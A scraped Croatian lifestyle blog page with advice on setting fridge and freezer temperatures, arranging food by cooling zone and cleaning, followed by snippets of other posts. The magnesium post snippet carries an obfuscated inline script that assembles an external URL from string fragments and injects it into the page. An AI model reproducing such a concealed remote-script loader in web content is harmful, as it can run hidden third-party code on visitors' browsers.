KAKO PRAVILNO PODESITI HLADNJAK I SPRIJEČITI KVARENJE NAMIRNICA?





Kako pravilno podesiti hladnjak i spriječiti kvarenje namirnica?



Hladnjak je jedan od ključnih kućanskih uređaja jer izravno utječe na sigurnost hrane i zdravlje ukućana. Ipak, mnogi ga upotrebljavaju bez provjere temperature, bez jasne organizacije namirnica i bez redovitog čišćenja. Takve navike dovode do bržeg kvarenja hrane, neugodnih mirisa i nepotrebnog bacanja namirnica. Pravilnim podešavanjem temperature i pametnim rasporedom moguće je produžiti svježinu hrane, sačuvati njezinu kvalitetu i naposljetku – imati uređaj koji traje dulje.


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>


Podesite ispravnu temperaturu

Optimalna temperatura hladnjaka trebala bi biti između 3 i 5 °C, a zamrzivač mora održavati - 18 °C. Ako je temperatura viša, bakterije se ubrzano razmnožavaju, osobito na lako kvarljivim namirnicama poput mesa, ribe i mliječnih proizvoda.

S druge strane, preniska temperatura može uzrokovati zamrzavanje voća, povrća i mliječnih proizvoda te promjenu njihove teksture i okusa. Najbolji način provjere je korištenje zasebnog termometra jer brojčane oznake na regulatoru često nisu potpuno precizne.

Također, važno je ne držati vrata hladnjaka otvorenima dulje nego što je potrebno jer svako otvaranje uzrokuje temperaturne oscilacije. Ako u domu imate malu djecu, provjerite iza njih jesu li vrata dobro zatvorili.



Rasporedite namirnice prema zoni hlađenja

Unutrašnjost hladnjaka nema jednaku temperaturu na svim policama. Donji dio obično je najhladniji i prikladan za čuvanje sirovog mesa i ribe koje je preporučljivo držati u zatvorenim posudama kako bi se spriječilo kapanje i prijenos bakterija.

Srednje police idealne su za mliječne proizvode, a vrata su najtopliji dio i namijenjena su pićima, umacima i proizvodima s duljim rokom trajanja. Voće i povrće treba čuvati u posebnim ladicama koje održavaju optimalnu razinu vlage i sprječavaju isušivanje. Moderni frižideri obično već imaju takvu ladicu pa je i održavanje lakše.


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>


Održavajte higijenu i protok zraka

Hladnjak ne smije biti pretrpan jer hladan zrak mora slobodno cirkulirati između namirnica. Redovito provjeravajte rokove trajanja i starije proizvode postavite na vidljivo mjesto kako biste ih na vrijeme potrošili

Barem jednom mjesečno očistite police, ladice i brtve na vratima blagim sredstvom i potom dezinficirajte. Redovito održavanje sprječava nakupljanje bakterija, uklanja neugodne mirise i osigurava dulju svježinu hrane.


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>


Kako pravilno podesiti hladnjak i spriječiti kvarenje namirnica



Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više